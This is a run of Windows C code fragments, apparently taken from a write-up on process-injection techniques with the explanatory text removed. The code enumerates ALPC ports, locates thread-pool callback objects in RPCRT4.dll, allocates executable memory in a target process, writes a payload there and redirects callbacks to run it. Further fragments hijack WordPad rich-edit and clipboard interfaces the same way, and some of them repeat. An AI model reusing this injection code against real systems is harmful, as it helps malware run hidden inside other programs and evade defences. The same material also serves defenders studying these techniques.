for(len=MAX_BUFSIZ;;len+=MAX_BUFSIZ) {
list = xmalloc(len);
status = NtQuerySystemInformation(
SystemHandleInformation, list, len, &total);
// break from loop if ok
if(NT_SUCCESS(status)) break;
// free list and continue
xfree(list);
}
for(i=0; i<hl->NumberOfHandles; i++) {
if(hl->Handles[i].UniqueProcessId != pi->pid) continue;
if(hl->Handles[i].ObjectTypeIndex != 45) continue;
// duplicate the handle object
status = NtDuplicateObject(
pi->hp, (HANDLE)hl->Handles[i].HandleValue,
GetCurrentProcess(), &hObj, 0, 0, 0);
// continue with next entry if we failed
if(!NT_SUCCESS(status)) continue;
// try query the name
status = NtQueryObject(hObj,
ObjectNameInformation, objName, 8192, NULL);
// got it okay?
if(NT_SUCCESS(status) && objName->Name.Buffer!=NULL) {
// save to list
pi->ports.push_back(objName->Name.Buffer);
}
// close handle object
NtClose(hObj);
}
BOOL IsValidTCO(HANDLE hProcess, PTP_CALLBACK_OBJECT tco) {
MEMORY_BASIC_INFORMATION mbi;
SIZE_T res;
// if it's a callback, these values shouldn't be empty
if(tco->CleanupGroupMember == NULL ||
tco->Pool == NULL ||
tco->CallerAddress.Function == NULL ||
tco->Callback.Function == NULL) return FALSE;
// the CleanupGroupMember should reside in read-only
// area of image
res = VirtualQueryEx(hProcess,
(LPVOID)tco->CleanupGroupMember, &mbi, sizeof(mbi));
if (res != sizeof(mbi)) return FALSE;
if (!(mbi.Protect & PAGE_READONLY)) return FALSE;
if (!(mbi.Type & MEM_IMAGE)) return FALSE;
// the pool object should reside in read+write memory
res = VirtualQueryEx(hProcess,
(LPVOID)tco->Pool, &mbi, sizeof(mbi));
if (res != sizeof(mbi)) return FALSE;
if (!(mbi.Protect & PAGE_READWRITE)) return FALSE;
// the caller function should reside in read+executable memory
res = VirtualQueryEx(hProcess,
(LPCVOID)tco->CallerAddress.Function, &mbi, sizeof(mbi));
if (res != sizeof(mbi)) return FALSE;
if (!(mbi.Protect & PAGE_EXECUTE_READ)) return FALSE;
// the callback function should reside in read+executable memory
res = VirtualQueryEx(hProcess,
(LPCVOID)tco->Callback.Function, &mbi, sizeof(mbi));
if (res != sizeof(mbi)) return FALSE;
return (mbi.Protect & PAGE_EXECUTE_READ);
}
bFound=IsValidTCO(pi->hp, &tco);
if(bFound) {
// obtain module name where callback resides
GetMappedFileName(pi->hp, (LPVOID)tco.Callback.Function, filename, MAX_PATH);
// filter by RPCRT4.dll
if(StrStrI(filename, L"RPCRT4.dll")!=NULL) {
wprintf(L"Found TCO at %p for %s\n", addr+pos, filename);
// try run payload using this TCO
// if successful, end scan
bInject = ALPC_deploy(pi, addr+pos, &tco);
if (bInject) break;
}
}
BOOL ALPC_deploy(process_info *pi, LPVOID ds, PTP_CALLBACK_OBJECT tco) {
LPVOID cs = NULL;
BOOL bInject = FALSE;
TP_CALLBACK_OBJECT cpy; // local copy of tco
SIZE_T wr;
TP_SIMPLE_CALLBACK tp;
DWORD i;
// allocate memory in remote for payload and callback parameter
cs = VirtualAllocEx(pi->hp, NULL,
pi->payloadSize + sizeof(TP_SIMPLE_CALLBACK),
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (cs != NULL) {
// write payload to remote process
WriteProcessMemory(pi->hp, cs, pi->payload, pi->payloadSize, &wr);
// backup TCO
CopyMemory(&cpy, tco, sizeof(TP_CALLBACK_OBJECT));
// copy original callback address and parameter
tp.Function = cpy.Callback.Function;
tp.Context = cpy.Callback.Context;
// write callback+parameter to remote process
WriteProcessMemory(pi->hp, (LPBYTE)cs + pi->payloadSize, &tp, sizeof(tp), &wr);
// update original callback with address of payload and parameter
cpy.Callback.Function = cs;
cpy.Callback.Context = (LPBYTE)cs + pi->payloadSize;
// update TCO in remote process
WriteProcessMemory(pi->hp, ds, &cpy, sizeof(cpy), &wr);
// trigger execution of payload
for(i=0;i<pi->ports.size(); i++) {
ALPC_Connect(pi->ports[i]);
// read back the TCO
ReadProcessMemory(pi->hp, ds, &cpy, sizeof(cpy), &wr);
// if callback pointer is the original, we succeeded.
bInject = (cpy.Callback.Function == tco->Callback.Function);
if(bInject) break;
}
// restore the original tco
WriteProcessMemory(pi->hp, ds, tco, sizeof(cpy), &wr);
// release memory for payload
VirtualFreeEx(pi->hp, cs,
pi->payloadSize+sizeof(tp), MEM_RELEASE);
}
return bInject;
}
typedef struct _IUnknown_t {
// a pointer to virtual function table
ULONG_PTR lpVtbl;
// the virtual function table
ULONG_PTR QueryInterface;
ULONG_PTR AddRef;
ULONG_PTR Release; // executed for WM_DESTROYCLIPBOARD
} IUnknown_t;
// 4. Set the interface property and trigger execution
SetProp(hw, L"ClipboardDataObjectInterface", ds);
PostMessage(hw, WM_DESTROYCLIPBOARD, 0, 0);
wpw = FindWindow(L"WordPadClass", NULL);
// 2. Find the rich edit control for wordpad.
rew = FindWindowEx(wpw, NULL, L"RICHEDIT50W", NULL);
wwf = (LPVOID)SendMessage(rew, EM_GETWORDBREAKPROC, 0, 0);
// 4. Obtain the process id for wordpad.
GetWindowThreadProcessId(rew, &id);
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
typedef struct _editstream
{
DWORD_PTR dwCookie; // User value passed to callback as first parameter
DWORD dwError; // Last error
EDITSTREAMCALLBACK pfnCallback;
} EDITSTREAM;
wpw = FindWindow(L"WordPadClass", NULL);
rew = FindWindowEx(wpw, NULL, L"RICHEDIT50W", NULL);
// 2. Obtain the process id and try to open process
GetWindowThreadProcessId(rew, &id);
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
rew = FindWindow(L"WordPadClass", NULL);
rew = FindWindowEx(rew, NULL, L"RICHEDIT50W", NULL);
// 2. Obtain the process id and try to open process
GetWindowThreadProcessId(rew, &id);
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
// 3. Allocate RWX memory and copy the payload there
cs = VirtualAllocEx(hp, NULL, payloadSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
// 5. Query the interface
SendMessage(rew, EM_GETOLEINTERFACE, 0, (LPARAM)ptr);
// 6. Read the memory address
ReadProcessMemory(hp, ptr, &mem, sizeof(ULONG_PTR), &wr);